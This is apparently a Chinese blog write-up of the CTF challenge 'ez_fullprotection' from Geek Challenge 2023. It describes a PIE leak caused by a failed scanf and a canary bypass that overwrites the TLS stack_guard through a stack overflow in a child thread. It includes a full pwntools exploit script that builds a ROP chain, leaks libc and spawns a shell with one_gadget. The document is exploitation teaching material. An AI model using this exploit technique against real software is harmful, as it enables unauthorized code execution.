【多线程栈溢出】极客大挑战2023 ez_fullprotection

前言

通过这道题学到了很多东西, 感谢 rbp 师傅的分享. 本题是一个多线程的栈溢出, 题目本身不算难, 但是一些知识还是挺有趣的.

WP

考点: 栈溢出+多线程栈相关知识

保护: 64位程序, 保护全开

程序本身很简单, 主要说下关键点. 在 game 函数中, 存在如下逻辑:

这里 password 是一个随机数, 所以 Winner_prize 我们多半是进不去的. 但是这里用 scanf("%lu", &v1) 进行输入, 如果我们输入一个非数字, 比如 '+' 等字符. 这时是没有向 v1 中写入值的. 所以后面 printf 输出的就是一个栈上的数据, 通过他我们可以泄漏一些信息.

经过调试, 最开始 v1 = [rbp-0x10] = _start, 所以当我们输入失败后, 后面输出的就是 [rbp-0x10] = _start 的值了, 以此可以绕过 PIE.

然后就开了一个线程: 注意最开始是存在栈溢出的, 但是没啥用

子线程中存在栈溢出:

为什么题目要在子线程中搞一个栈溢出呢? 我们先在主线程中看看其 TLS 的位置:

因为题目开了 Canary, 所以要进行栈溢出利用的第一步就是泄漏 Canary, 但是这里没啥可以用来泄漏的, 那就只有通过覆盖 TLS 中的 stack_guard 来进行利用了, 而如果要在主线程中通过栈溢出来完成是不可能的, 因为 TLS 在栈的上方.

但是在子线程中就不一样了. 我们知道线程之间是共享虚拟内存的, 那么这就存在一个很大的问题了, 比如堆/栈地址冲突, 所以子线程的堆/栈其实是用 mmap 来模拟的 (这里我大概看了下源码, 但是可能有误, 请读者自行检验). 

所以可以看到在子线程中其栈在匿名映射与文件映射区, 而 TLS 的位置在其下方不远处. 所以这里就可以直接通过栈溢出覆盖 TLS 中的 stack_guard 去绕过 Canary 保护.

后面就是经典的 ret2libc 了, 就没啥好说的了.

exp 如下: system 好像不行, 后面赋值的时候寄存器满足不了

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s, f : u32(io.recvuntil(s, drop=f, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s, f : u64(io.recvuntil(s, drop=f, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

#gdb.attach(io, 'b *$rebase(0x0000000000001584)')

sla(b'name: ', b'XiaozaYa')
sla(b'guess : ', b'+')
rut(b'entered ')
_start = int(rut(b'.\n'), 10)
base = _start - elf.sym._start
info("_start", _start)
info("base", base)

pop_rdi  = 0x00000000000016e3 + base # pop rdi ; ret
pop_rsi  = 0x00000000000016e1 + base # pop rsi ; pop r15 ; ret
ret      = 0x000000000000101a + base # ret
puts_plt = 0x0000000000001150 + base
puts_got = 0x0000000000003F60 + base
ret_addr = 0x0000000000001541 + base
pay = b'A'*0x38 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr)
pay = pay.ljust(0x870, b'A')
print(pay)
sl(pay)

libc.address = u64(ruf(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym.puts
info("libc_base", libc.address)
"""
0xe3afe execve("/bin/sh", r15, r12)
0xe3b01 execve("/bin/sh", r15, rdx)
0xe3b04 execve("/bin/sh", rsi, rdx)
"""

ogs = [0xe3afe, 0xe3b01, 0xe3b04]
ogs = [i+libc.address for i in ogs]
pop_4 = 0x00000000000016dc + base # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

#pay = b'A'*0x38 + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym.system)
pay = b'A'*0x38 + p64(pop_4) + p64(0)*4 + p64(ogs[0])
sl(pay)
#pause()
#debug()
sh()

效果如下:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值